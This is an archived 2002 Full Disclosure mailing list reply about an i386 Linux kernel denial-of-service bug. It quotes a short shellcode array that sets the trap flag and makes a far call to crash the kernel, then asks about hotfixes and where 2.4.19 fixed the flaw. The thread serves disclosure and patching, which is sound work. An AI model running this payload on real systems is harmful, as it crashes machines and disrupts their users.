Full Disclosure mailing list archives

Re: i386 Linux kernel DoS


From: Jim Paris <jim () jtan com>
Date: Wed, 13 Nov 2002 11:58:46 -0500

    char dos[] = "\x9C"                           /* pushfd       */
                 "\x58"                           /* pop eax      */
                 "\x0D\x00\x01\x00\x00"           /* or eax,100h  */
                 "\x50"                           /* push eax     */
                 "\x9D"                           /* popfd        */
                 "\x9A\x00\x00\x00\x00\x07\x00";  /* call 07h:00h */

Has anyone come up with a hotfix for this (eg, a kernel module to
temporarily patch the hole)?  Where was this bug fixed in 2.4.19?  The
CHECK_IF_IN_TRAP stuff in handle_vm86_fault?

-jim
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: